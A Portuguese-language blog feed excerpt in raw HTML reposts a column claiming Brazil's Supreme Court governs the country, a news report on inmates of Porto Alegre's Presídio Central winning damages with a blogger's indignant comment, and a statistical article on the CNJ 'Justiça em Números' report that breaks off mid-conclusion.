0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Sergio Moro</span></a><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;"> </span><span style="font-family: Merriweather, serif; font-size: 1rem; font-variant-ligatures: none;">– e, agora, declarar inválidas todas as provas reunidas contra ele, para que nunca mais possam ser utilizadas em qualquer processo que se tente fazer para retomar os que foram anulados. Esse é o retrato acabado do tipo de justiça que se pratica no Brasil de hoje – dentro das “instituições”, da pregação diária da “democracia” e dos alertas diários sobre a “ditadura” que virá se Lula perder a eleição de 2022.</span></p>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-35772332224732697582021-06-26T08:50:00.000-03:002021-06-26T08:50:05.684-03:00Supremo governa o Brasil sem ter ganhado as eleições<p><br /></p><div class="l-row article-header" style="background-color: #f9f9f9; box-sizing: border-box; font-family: "Roboto Slab", serif; font-size: 20px; font-variant-ligatures: none; margin: 0px 0px 20px; padding: 0px; position: relative;"><header class="l-container" style="border-bottom: 1px solid rgba(222, 222, 222, 0.75); box-sizing: border-box; margin: auto; padding: 0px; width: 1200px;"><div class="article-header-wrapper l-row" style="box-sizing: border-box; display: flex; margin: 0px; padding: 0px; position: relative;"><div class="column-heading l-col-md-10 l-col-md-offset-2" style="align-self: flex-end; box-sizing: border-box; float: left; margin: 20px 0px 20px 150px; min-height: 1px; order: 1; padding: 0px 25px; position: relative; width: 750px;"><div class="m-timestamps" style="border-bottom: 0px; margin: 20px 0px 0px; padding: 0px; position: relative; width: 700px;"><div class="wrapper" style="margin: 0px 0px 0px 25px; padding: 0px 0px 15px; position: relative;"><svg fill="currentColor" height="1em" preserveaspectratio="xMidYMid meet" style="vertical-align: middle;" viewbox="0 0 40 40" width="1em"><g><path d="m23 12.1v10q0 0.4-0.2 0.6t-0.5 0.2h-7.2q-0.3 0-0.5-0.2t-0.2-0.6v-1.4q0-0.3 0.2-0.5t0.5-0.2h5v-7.9q0-0.3 0.2-0.5t0.6-0.2h1.4q0.3 0 0.5 0.2t0.2 0.5z m9.3 7.9q0-3.3-1.6-6.1t-4.5-4.4-6.1-1.6-6.1 1.6-4.4 4.4-1.6 6.1 1.6 6.1 4.4 4.4 6.1 1.6 6.1-1.6 4.5-4.4 1.6-6.1z m5 0q0 4.7-2.3 8.6t-6.3 6.2-8.6 2.3-8.6-2.3-6.2-6.2-2.3-8.6 2.3-8.6 6.2-6.2 8.6-2.3 8.6 2.3 6.3 6.2 2.3 8.6z"></path></g></svg><time content="2021-04-30" datetime="Fri, 30 Apr 2021 13:32:11 GMT" itemprop="datePublished" style="color: #c5c5c5; display: block; font-family: Roboto, sans-serif; font-size: 0.8125rem; line-height: 18px; margin: 0px; padding: 0px 0px 0px 25px;"><br /></time></div></div></div></div></header></div><div class="article-body l-container" style="box-sizing: border-box; font-family: "Roboto Slab", serif; font-size: 20px; font-variant-ligatures: none; margin: auto; padding: 0px; width: 1200px;"><div class="l-row is-out-pad-edge" style="box-sizing: border-box; margin: 0px; padding: 0px;"><div class="article-main l-col-md-10" style="box-sizing: border-box; float: left; margin: 0px; min-height: 1px; padding: 0px 25px; position: relative; width: 750px;"><div class="m-paid-content" style="animation: 0.3s linear 0s 1 normal none running k; margin: 0px; padding: 0px;"><div style="box-sizing: border-box; margin: 0px; padding: 0px;"><div class="article-content sa_incontent" itemprop="articleBody" style="box-sizing: border-box; font-family: Merriweather, serif; margin: 0px; padding: 0px 0px 35px;"><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running k; box-sizing: border-box; margin: 0px auto; padding: 0px;"><p style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;"><span style="background-color: white; color: #202124; font-family: "Google Sans", arial, sans-serif; font-size: 30px; font-variant-ligatures: normal; font-weight: 700; text-align: left;"><br /></span></p><div style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;"><span style="background-color: white; color: #202124; font-family: "Google Sans", arial, sans-serif; font-size: 30px; font-variant-ligatures: normal; font-weight: 700; text-align: left;">GaúchaZH </span><span style="background-color: #f9f9f9; color: #c5c5c5; font-family: Roboto, sans-serif; font-size: 16.25px; font-weight: 700;">30/04/2021</span></div><p style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;"><span style="background-color: #f9f9f9; color: #c5c5c5; font-family: Roboto, sans-serif; font-size: 16.25px; font-weight: 700;"><br /></span></p><p style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;"><span style="font-family: Roboto, sans-serif; font-size: 12px; font-weight: 900; text-align: center; text-transform: uppercase;">J.R. GUZZO</span></p><p style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;"><br /></p><p style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;">É possível governar um país sem ganhar eleições e, ao mesmo tempo, sem dar um golpe de Estado formal, daqueles com tanque na rua, toque de recolher e uma junta militar com três generais de óculos escuros e o peito cheio de medalhas? Se este país for o Brasil, a resposta é: sim, perfeitamente. Basta você ir ao Supremo Tribunal Federal (<a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/stf/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">STF</span></a>) e pedir para os ministros mandarem fazer aquilo que você quer — desde, é claro, que você e os ministros pensem do mesmo jeito.</p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running k; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;">Vive acontecendo no <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/brasil/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Brasil</span></a> de hoje, e acaba de acontecer de novo. Desta vez, o STF atendeu a mais um gentil pedido e decidiu que o governo federal tem, sim, de <a href="https://gauchazh.clicrbs.com.br/economia/noticia/2021/04/marco-aurelio-determina-que-governo-federal-realize-censo-em-2021-cko1rhv5v00550198to97h5b0.html" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">fazer o Censo populacional do IBGE</span></a> previsto para o ano passado, e <a href="https://gauchazh.clicrbs.com.br/economia/noticia/2021/04/governo-confirma-que-nao-ha-orcamento-para-realizar-censo-em-2021-cknupcijx0018016us6gxwita.html" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">que foi cancelado neste ano</span></a> por falta de dinheiro e por causa da <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/covid-19/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Covid</span></a> — afinal de contas, recenseadores e recenseados não podem se aglomerar em entrevistas “presenciais”, não é mesmo? O STF, nas decisões que vem tomando há mais de ano, já deixou bem claro que detesta aglomerações de qualquer tipo.</p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running k; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running k; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;">Tudo bem: mas que diabo o STF teria de se meter numa decisão que pertence unicamente ao Poder Executivo? Mais que isso, o adiamento do Censo de 2020 — que deveria ser feito agora em 2021, mas foi suspenso até segunda ordem — é fruto direto de uma decisão do <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/congresso-nacional/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">Congresso Nacional</span></a>, que resolveu <a href="https://gauchazh.clicrbs.com.br/economia/noticia/2021/04/governo-confirma-que-nao-ha-orcamento-para-realizar-censo-em-2021-cknupcijx0018016us6gxwita.html" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">cortar a verba destinada a esse propósito</span></a>. Segundo os parlamentares, o Censo não era prioritário, nem urgente e nem aconselhável no meio de uma <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/pandemia/" style="box-sizing: border-box; color: rgb(230, 180, 65) !important; margin: 0px; padding: 0px;"><span style="box-sizing: border-box; font-weight: 700; margin: 0px; padding: 0px;">epidemia</span></a>.</p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running k; box-sizing: border-box; margin: 30px auto 0px; padding: 0px;"><p style="box-sizing: border-box; font-size: 1rem; line-height: 32px; margin: 0px; padding: 0px; text-align: justify;">Mas tudo isso são detalhes sem nenhuma importância. O STF mandou fazer, não mandou? Então: os outros poderes que se arranjem e cumpram a ordem que receberam. É mais uma das maravilhas do Brasil de nossos dias: um poder que não apenas manda nos outros, mas não precisa se preocupar (exatamente ao contrário do que determina a lei) em prover os meios para executar as ordens que dá. O governo não tem dinheiro para pagar o Censo? O Congresso cortou a verba, e decidiu gastar em outra coisa? Problema do governo e do Congresso.</p></div><div class="article-paragraph" style="animation: 0.3s linear 0s 1 normal none running k; box-sizing: border-box; margin: 30px auto 0px; padding: 0px; text-align: justify;"><span style="font-size: 1rem;">Quem governa o Brasil, todos os dias, é o STF. Não precisa, nem por um minuto, ter o trabalho de pensar em nada. Só manda.</span></div></div></div></div></div></div></div>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-862752369881993322019-10-09T08:56:00.001-03:002019-10-09T08:56:09.469-03:00INDENIZAÇÃO DE PRESOS<div dir="ltr" style="text-align: left;" trbidi="on">
<br /><br /><b>Estado é condenado a pagar indenização a presos do Central por más condições e superlotação. Em 2019, há pelo menos 17 processos em que detentos ganharam ações<br /></b><div>
<b>ZERO HORA 08/10/2019 </b><br /><br /><img src="https://www.rbsdirect.com.br/imagesrc/23117248.jpg?w=52&h=52" /><br /><br /><br /><b>LUCAS ABATI</b><br /><br /><a href="mailto:?subject=Estado%20%C3%A9%20condenado%20a%20pagar%20indeniza%C3%A7%C3%A3o%20a%20presos%20do%20Central%20por%20m%C3%A1s%20condi%C3%A7%C3%B5es%20e%20superlota%C3%A7%C3%A3o&body=https://gauchazh.clicrbs.com.br/seguranca/noticia/2019/10/estado-e-condenado-a-pagar-indenizacao-a-presos-do-central-por-mas-condicoes-e-superlotacao-ck1i61dnz043y01n3wpme860w.html"></a><br /><br /><img height="426" src="https://www.rbsdirect.com.br/imagesrc/25401744.jpg?w=700" width="640" />Presídio abriga 4 mil pessoas, mas tem capacidade para 1,8 milFélix Zucco / Agencia RBS<br /><br /><br /><b>Entenda a reportagem em cinco pontos</b><br /><br /><b><i>- Presos estão ganhando na Justiça o direito de serem indenizados pelas más condições do Presídio Central, em Porto Alegre. <br /></i></b></div>
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<b><i>- Com a maior população carcerária do RS, o Central tem 1,8 mil vagas, mas abriga mais de quatro mil presos em suas galerias. Além disso, tem problemas estruturais como na rede de esgoto. <br /></i></b></div>
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<b><i>- Desde 2017, um advogado começou a protocolar ações contra o Estado. Ele estima mais de 400 processos. Somente neste ano, pelo menos 17 foram concluídos no segundo grau com ganho de causa ao detento, somando R$ 25 mil. <br /></i></b></div>
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<b><i>- Responsável pelas decisões favoráveis, a 9ª Câmara Cível definiu um padrão de indenização: R$ 500 por ano de prisão. <br /></i></b></div>
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<b><i>- O Estado diz que está recorrendo das decisões no Supremo Tribunal Federal. O pagamento é realizado por meio de precatório ou requisição de pequeno valor. </i></b><br /><br /><br />Os problemas do <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/sistema-prisional/">Presídio Central</a> como a superlotação, ausência de celas, esgoto a céu aberto e domínio de <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/crime-organizado/">facções criminosas </a>estão fazendo com que o Estado seja condenado pela Justiça a indenizar presos que passaram pelo local. A Cadeia Pública, como passou a ser chamada em janeiro de 2017, tem capacidade para 1,8 mil presos, mas abriga mais de 4 mil pessoas, conforme a Superintendência dos Serviços Penitenciários.<br /><br /><br /><br />Somente em 2019, <a href="https://gauchazh.clicrbs.com.br/">GaúchaZH </a>verificou pelo menos 17 processos em que presos ganharam indenização em 2º grau — ou seja, pronta para execução caso não haja recurso nos tribunais superiores. Esses processos são os que foram apreciados pela 9ª Câmara Cível, que inclusive definiu padrão de R$ 500 para cada ano de prisão. Sem considerar as correções monetárias, o saldo que o Estado deve pagar chega a R$ 25 mil somente neste ano.<br /><br /><br />A soma pode ser maior, pois ações do tipo estão sendo julgadas há pelo menos três anos. Desde 2017, ao menos 386 decisões de 2º grau — nem todas favoráveis — foram publicadas pelo Tribunal de Justiça (TJ), além de outras que ainda estão tramitando em 1º grau. Responsável pela maioria dos processos que pedem a indenização dos presos, o advogado Rodrigo Rollemberg Cabral estima que tenha entrado com cerca de 400 ações, mas afirma possuir a procuração de quase mil presos para ingressar com ações semelhantes. <br /><br /><br />— Como é processo eletrônico e em massa, faço a inicial. Manda citar o Estado, que já tem a contestação pronta. Ele junta no mesmo dia, fazemos a réplica no dia seguinte. Então, a sentença está demorando uns três, quatro meses. Vai apelação, eles já têm o modelo de quem dá e quem nega. Só muda o nome e vê quanto tempo ficou — explica o advogado.<br /><br /><br />Nas decisões da 9ª Câmara, em geral, os desembargadores citam os problemas conhecidos do <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/sistema-prisional/">Presídio Central</a>, como a superlotação e a estrutura precária. A Lei de Execuções Penais, que define algumas regras para a manutenção dos presos não é cumprida, o que segundo os magistrados não garante a reinserção do preso na sociedade.<br /><br /><br />"É dever do ente público oferecer condições mínimas aos detentos, não apenas por ser este um direito básico do ser humano, mas também em razão de que estas pessoas, hoje encarceradas, serão devolvidas à sociedade quando cumpridas suas penas. Obviamente, se sobreviverem ao 'inferno' a que estão sendo submetidas, em condições físicas e psíquicas muito piores das que possuíam quando lá ingressaram. É evidente que nas condições hoje vividas no <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/sistema-prisional/">Presídio Central</a> não há falar em reabilitação", citou o desembargador Eduardo Kramer em processo no qual foi relator.<br /><br /><br /><b>Divergência no TJ</b><br /><br /><br />Outras três câmaras do TJ possuem uma interpretação diferente a partir de uma decisão do Supremo Tribunal Federal (STF). Enquanto para a 9ª Câmara o simples fato de estar preso já configura dano, o entendimento das demais é de que o dano precisa ser comprovado. <br /><br /><br />A 10ª Câmara, responsável pela maior parte dos recursos, entende que a prisão por si só não configura dano moral. Além disso, os membros dessa câmara ainda afirmam que os problemas no <a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/sistema-prisional/">Presídio Central </a>são de conhecimento de todos, o que deveria reprimir a ação criminosa:<br /><br /><br />"Igualmente, não vejo demasia mencionar que o requerente encontra-se em um ambiente de risco por atuação própria em decorrência de punição a ilícito penal que cometeu, e como as condições precárias das<a href="https://gauchazh.clicrbs.com.br/ultimas-noticias/tag/sistema-prisional/"> unidades prisionais</a> são de conhecimento comum, deveria ter considerado tal circunstância no momento da prática do delito, de forma a reprimir sua própria conduta", cita o relator de um dos processos em que negou a indenização.<br /><br /><br />Já a 9ª Câmara assume que as más condições configuram o dano e dever de indenizar. Em suas decisões, ainda coloca uma possibilidade, indicando que o valor de indenização pode ser retido, a pedido do Estado, a fim de compensar as despesas da manutenção do detento no presídio ou para ressarcir vítimas deles. <br /><br /><br />Sobre esse recurso para indenizar vítimas e até mesmo o Estado pela manutenção do preso no sistema, o advogado afirma que ele deveria ser obtido por meio do trabalho na prisão, o que não ocorre, justamente por falta de estrutura. <br /><br /><br />— A Lei de Execuções Penais diz que uma parte do dinheiro do trabalho do preso fica com o Estado para a manutenção dele. Mas, como o Estado não fornece trabalho prisional, acaba não ressarcindo a despesa do preso. Se funcionasse de modo perfeito, além de ressocializar o preso, ainda teria recurso — afirmou.<br /><br /><br /><b>Contraponto</b><br /><br /><b><br />O que diz a PGE</b><br /><br /><br />Em relação ao ponto questionado, envolvendo as ações de apenados que ajuizaram demandas contra o Estado pleiteando danos morais em decorrência das condições da Cadeia Pública de Porto Alegre, é importante frisar que esses processos não estão finalizados.<br />A Procuradoria-Geral do Estado (PGE) atua de forma individualizada em cada uma das ações que tratam desse tema, sendo que diversos desses processos foram extintos pela Justiça por falta de requisitos procedimentais.<br />A PGE/RS recorreu ao Supremo Tribunal Federal em alguns casos em que houve decisão desfavorável ao Estado, pois o STF tem jurisprudência fixada de que a responsabilidade de indenizar por danos morais presos depende de prova do dano, não podendo ser presumido.<br />Com a decisão do STF, as ações deverão ser analisadas individualmente pela Justiça gaúcha para verificar se os danos alegados estão comprovados.<br />Nos casos de condenação do Estado a indenizar, o pagamento é sempre feito por meio de precatório ou requisição de pequeno valor (pago em até 60 dias quando o valor é de até 10 salários mínimos).</div>
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<b>COMENTÁRIO DO BENGOCHEA</b> - SURREAL. A VÍTIMA TER QUE INDENIZAR O BANDIDO. Que justiça é esta que obriga a população vítima da bandidagem a indenizar problemas causados pela omissão e irresponsabilidade dos poderes supervisor e fiscal da execução penal? Por que a indenização são é cobrada do orçamento destes poderes que não apuram responsabilidade pelas ilicitudes e irregularidades na execução penal? Por que o povo tem que pagar por algo que não é culpado? Se o povo paga caro para poderes fazerem a supervisão dos presos, que estes poderes assumam a responsabilidade devida e paguem a indenização de seus próprios orçamentos ao invés de tirar do Executivo e dos direitos do povo. E que achem os culpados para restituir o dinheiro ao erário. Não existe dinheiro público nem dinheiro do Estado e sim dinheiro do impostos cobrados do povo.</div>
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A justiça manda Estado indenizar presos esquecendo que o dinheiro do Estado é dinheiro do povo vítima da bandidagem e que ela, justiça, é que tem o dever de supervisionar a execução penal e as condições dos presos, apurando responsabilidade em caso de ilicitudes, irregularidades e violações de direitos. O judiciário é o maior culpado por esta situação do presos, pois se omite em seus deveres e tem sido leniente, permissivo e conivente com o caos na execução penal. Quem deveria pegar a indenização é o Judiciário, não o Executivo, exigindo restituição ao erário por parte daqueles que se omitiram em suas competências e incumbências. É fácil jogar a responsabilidade no povo e indenizar com o dinheiro dos impostos cobrados do povo, sem que ninguém seja responsabilizado nas penas da lei, punido, obrigado a sanar as ilicitudes e pagar a indenização.<br /><br />Cadê a culpa do povo na execução penal para ser obrigado a indenizar presos que estão sob supervisão da justiça?<div>
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-669120618814123230.post-57612073598210046072019-09-22T08:07:00.002-03:002019-09-22T08:07:32.755-03:00O PODER JUDICIÁRIO E A JUSTIÇA EM NÚMEROS<div dir="ltr" style="text-align: left;" trbidi="on">
<br />JUSTIÇA E CIDADANIA. 14 de janeiro de 2015<br /><br /><a href="https://www.editorajc.com.br/autor/aurelio-wander-bastos/">Aurélio Wander Bastos</a>, <a href="https://www.editorajc.com.br/autor/marcos-carnevale/">Marcos Carnevale</a><br /><br /><br /><br /><br /><img src="https://www.editorajc.com.br/wp-content/uploads/2014/08/A5-Aurelio-Bastos-Ed-168.jpg" /><img src="https://www.editorajc.com.br/wp-content/uploads/2015/01/Marcos-Carnevale1.png" /><div>
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O Conselho Nacional de Justiça (CNJ) vem, desde 2003, sistematicamente desenvolvendo os relatórios “Justiça em Números”, mas, somente a partir de 2012 (tomando como referência a movimentação processual de 2011), os dados de construção linear foram colocados para o conhecimento da comunidade jurídica e da sociedade, especialmente com a organização do Seminário Justiça em Números (2012). Os relatórios são a mais importante iniciativa para a definição de políticas públicas judiciárias no Brasil, visibilizando estatisticamente a máquina burocrática judiciária, divulgando números de processos em tramitação (exceto no Supremo Tribunal Federal – STF), recursos financeiros disponíveis para execução dos serviços dos Tribunais (orçamento/despesas); número de magistrados e servidores e a produtividade judicial (número de sentenças/baixas de processos). As informações e os dados do relatório quantitativo do CNJ, que temos estudado no formato de pesquisa no Instituto Universitário de Pesquisas do Rio de Janeiro (Iuperj), desde o ano de 2012, todavia ganham relevância qualitativa por meio da leitura do cruzamento dos dados lineares que fizemos nesse artigo, permitindo mostrar um Poder Judiciário mergulhado não apenas em conflitos interindividuais, mas também em algumas das mais complexas situações da vida jurídica brasileira.<br /><br />Atualmente, tramitam na Justiça Brasileira (Relatório de 2014 – dados de 2013) cerca de 95.139.766 milhões de processos (estoque antigo e casos novos). Tomando por base a projeção do Instituto Brasileiro de Geografia e Estatística (IBGE) para o número de habitantes no Brasil (200 milhões), conclui-se que para cada dois brasileiros está em tramitação nos tribunais um (1) processo. Desse total de processos, 78% (74,2 milhões) são (foram) de competência da Justiça Estadual (JE); 12% (11,4 milhões) da Justiça Federal (JF); 8% (7,6 milhões) da Justiça do Trabalho (JT); e, finalmente, cerca de 2%, nos demais tribunais (Superior Tribunal de Justiça, Tribunal Superior do Trabalho, Justiça Eleitoral e Justiça Militar). Dessa forma, pode-se ainda observar que, tomando por base a população brasileira, na JE, há um processo para cada 2,6 habitantes; na JF são 17,5 pessoas para um processo; e na JT, há um processo para cada grupo de 26,3 indivíduos, taxa superior em relação a outros países. Na Justiça Estadual de São Paulo tramitam(ram) cerca de 24 milhões de processos, sabendo-se que neste estado temos 2.501 magistrados e, no Rio de Janeiro, 805 magistrados, onde tramitam cerca de 11 milhões e 400 mil processos, cerca de 27% e 12%, respectivamente, em relação ao total dos 95 milhões de casos.<br /><br />Por outro lado, o total de juízes no Brasil é de 16.281, o que significa que a carga de trabalho para os magistrados é espantosa, pois atualmente a Justiça Estadual tem 11.361 magistrados, o que significa que cada um deles teve, em 2013, sob sua responsabilidade, uma média de 6.531 processos para decidir no ano. A Justiça Federal possui 1.549 magistrados, com uma carga de trabalho média de 7.360 lides. E, finalmente, a Justiça Trabalhista tem 3.371 magistrados, para decidirem em média 2.255 processos. Nossa análise demonstra que, no 1o grau, um juiz estadual produziu em 2013, em média, 1.227 sentenças, e os juízes federais produziram, em relação a cada juiz de primeira instância, a média 803 sentenças. No que se refere a média de sentenças produzidas por um juiz trabalhista está na proporção de 1.128 decisões. Se aumentarmos o corte de comparação, usando grandes tribunais estaduais, como São Paulo e Rio de Janeiro, a distorção é mais grave, em que a média de sentenças por juiz paulista foi de 2.070 decisões e os juízes cariocas sentenciaram, em 2013, uma média de 3.068 processos.<br /><br />Os dados supramencionados demonstram ainda que, considerando-se que o ano judicial para os tribunais tem 10 meses úteis, que cada mês, em média, tem 20 dias úteis, ou seja, em 200 dias de trabalho, cada juiz da Justiça Estadual no Brasil deveria decidir uma média de 32,7 processos por dia, ou seja, julgar 3,6 processos por hora, trabalhando 9 horas por dia. No que se refere a Justiça Federal, cada magistrado deveria julgar, em 200 dias, 36,8 processos por dia e, por hora, 4,1 processos, trabalhando as mesmas 9 horas. E, na Justiça do Trabalho, o quadro tem uma inversão relevante, pois, em 200 dias de trabalho, cada magistrado julgaria por dia 11,3 processos, e tomando como referência 9 horas de trabalho, 1,3 por hora. A quantificação torna visível a situação numérica dos tribunais, mas é metodologicamente impossível determinar as exatas razões desses índices, considerando, ainda, que os magistrados têm de participar das sessões públicas, de atividades burocráticas, entre outras ações que lhes são designadas.<br /><br />Para completar a compreensão funcional dos tribunais, o relatório CNJ 2014 demonstra que temos cerca de 400 mil servidores nos tribunais. Mas essas distorções não param por aí: a quantidade de profissionais para fazer processar os conflitos que chegam às serventias do Poder Judiciário também padece de desfuncionalidade, pois sua distribuição, segundo a carga de trabalho, transparece desequilibrada. Seguindo o mesmo raciocínio, adotado para desvendar a carga de trabalho anual de um magistrado, sabemos pelo relatório de 2014 que existem mais de 270 mil servidores na JE; na JF são mais de 65 mil trabalhadores; e na JT são quase 54 mil funcionários. Assim, a carga de trabalho média, anual, respectiva para cada tribunal é de 275 processos por cada servidor estadual; para a JF, a média de trabalho é de 175 processos por profissional; e na Justiça laboral, a carga de trabalho é a menor, com 140 processos em média por funcionário.<br /><br />Outro aspecto bastante significativo ressaltado pelo Relatório Justiça em Números 2014 é sobre o orçamento disponibilizado para os tribunais, ou seja: quase R$ 34 bilhões na Justiça Estadual, para 78% dos processos (74,2 milhões), o que representa R$ 458,00 anuais por ação. Na Justiça Federal, outros R$ 7,7 bilhões para apoiar o andamento de 12% das lides (11,4 milhões), significando o investimento de R$ 675,00 para cada um desses processos, por ano; e de mais de R$ 13 bilhões para processar os 8% de conflitos trabalhistas (7,6 milhões), o que disponibiliza a quantia anual de R$ 1.710,00 por discussão laboral. De qualquer forma, estes números revelam uma posição realista da Justiça Trabalhista, cujos recursos são 273% maiores que a JE e 153% a mais que a JF. Fica, portanto, evidente que faltam investimentos, segundo a carga de trabalho, desses dois tribunais para que houvesse equanimidade na distribuição de verba.<br /><br />Dado relevante no conjunto dessas comparações é a informação sobre quem são, inclusive percentualmente, os autores ou réus no conjunto dos mais de 95 milhões de processos, que circularam nas serventias judiciais no Brasil. Para compreensão dessa situação, usamos outra pesquisa do Departamento de Pesquisas Judiciárias (DPJ), do CNJ, de 2011, que aponta quem são os maiores litigantes em nível nacional. Esse relatório demonstra que o setor público federal como autor ou réu litiga em 38% das ações; os bancos também litigam em 38% das ações, o setor público estadual litiga em 8% das ações, as empresas de telefonia litigam em 6%, o setor público municipal litiga em 5%, e outros litigantes chegam a 5%. Isto significa reconhecer que, em mais de 90 milhões de processos, estão envolvidos os Poderes Executivos, em todos os seus níveis, os bancos e a telefonia, deixando-se apenas 5 milhões para outros atores – litigantes.<br /><br /><img src="https://www.editorajc.com.br/wp-content/uploads/2015/01/Grafico-RJC-173-1.png" /></div>
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Sobre esses números, o DPJ (2011) informa ainda que, do total geral como temos observado, estão no polo ativo, ou seja, como autores das ações: o setor público federal com 33%; os bancos com 45%; o setor público estadual com 28%; as empresas de telefonia com 22%; o setor público municipal com 97%; e os outros litigantes com 49%. Assim, esses dados nos permitem inferir que, os cinco maiores litigantes do País, são autores em, pelo menos, 36,1 milhões de processos, mais de 1/3 das ações em todo o país.<br /><br />Encaminhando uma linha conclusiva, verifica-se que o Judiciário, na órbita da Justiça Estadual, segundo os indicadores do CNJ, dos seus 74,2 milhões de processos, são de execução fiscal, no 1o grau, cerca de 32 milhões de processos (43%). Os grandes litigantes são o estado e o município, que são autores das ações. Esse percentual torna-se mais visível no Rio de Janeiro, pois, do seu total de ações em tramitação, cerca de 62% dos processos são execuções fiscais, e, do total de 25.515.955 de processos em São Paulo, 52% também são executivos fiscais. Esta hipótese final se confirma, verificando-se que, na Justiça Federal, 4,4 milhões (39%) do total de 11,4 milhões de processos (também) são execuções fiscais, mantendo-se a mesma linha dos estados e municípios. Esses dados permitem mostrar que o litigante cidadão não é exatamente aquele que congestiona o funcionamento Judiciário, mas o Poder Executivo federal, estadual e municipal, cobrando impostos. E também o capital, representado pelos bancos e pelas empresas de telefonia, reivindicando seus direitos em relação ao cidadão.</div>
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Detalhando em especial essa análise, conforme o gráfico do perfil de processos na justiça brasileira, quanto ao estoque de 2013, o CNJ aponta que, na primeira instância, 43% dos processos concentram-se nos casos não criminais (cíveis); as execuções fiscais são 41%; em terceiro lugar estão os processos criminais com 9%; e 7% tramitam em instâncias superiores.<br /><br />Finalmente, os dados dessa pesquisa do CNJ permitem demonstrar que o congestionamento do funcionamento do Judiciário brasileiro não é propriamente o alto volume de cidadãos litigantes, como inicialmente se tem levantado, mas o grande volume de ações promovidas pelo Poder Executivo na área fiscal, geralmente tendo no polo passivo os cidadãos. As questões executivas é que congestionam o Judiciário, o que exige profunda reflexão sobre a questão de políticas públicas para o Poder Judiciário.<br /><br />O Relatório do CNJ nos permite, além de outras importantes observações, perceber, por esse mapeamento quantitativo do Poder Judiciário e respectiva produtividade, que existem pontos de estrangulamento (denominados na teoria de sistemas de entropia negativa e positiva). A fotografia geral, por conseguinte, não esgota os números provenientes dos Relatórios Justiça em Números, mas já são suficientes para a análise de seu impacto na sociedade e para a formulação de políticas que visem a uma melhor prestação jurisdicional, com base em eficiente alocação de recursos para esses fins.<br /><br />Como providências preliminares, a leitura geral destes dados indica:<br /><br /><b>Conclusão 1</b><br />A relação entre o estoque de processo nos tribunais (95 milhões) e o número de juízes responsáveis pelas decisões, 16.429 magistrados (Relatório CNJ 2014), demonstra que, no Brasil, deveria haver 32.912 magistrados. Uma indicação quantitativa impossível, inclusive porque o referencial de medida não deve ser apenas o estoque de processos, ou o nível de congestionamento, mas permite-se afirmar que tornou-se imprescindível um estudo dos fluxos de processos nos diferentes tribunais, para evitar o que a teoria de sistemas chama de entropia.<br /><br /><b>Conclusão 2</b><br />A quantidade de profissionais para esses tribunais analisados deveria seguir a seguinte ordem: a JE deveria ter 530 mil e a JF deveria ter 81 mil servidores, para se alcançarem resultados acentuadamente positivos no processo decisório, tendo-se como razoável o número de juízes trabalhistas.<br /><br /><b>Conclusão 3</b><br />Os recursos orçamentários são irregularmente distribuídos e, por outro lado, estão fundamentalmente servindo para, senão implementar, movimentar as demandas de autoria do setor público (União, estado e município).<br /><b><br />Conclusão 4</b><br />Os dados da pesquisa demonstram a necessidade emergencial de se definir uma política de efetivo tratamento das questões executivas fiscais, não apenas porque contribuem dominantemente para o congestionamento do Judiciário, que fica limitado no tratamento de outras ações, mas também porque indicam a gravidade na relação autor e réu no quadro tributário brasileiro, em que o Estado tem posição de absoluto domínio.<br /><br /><b>Conclusão 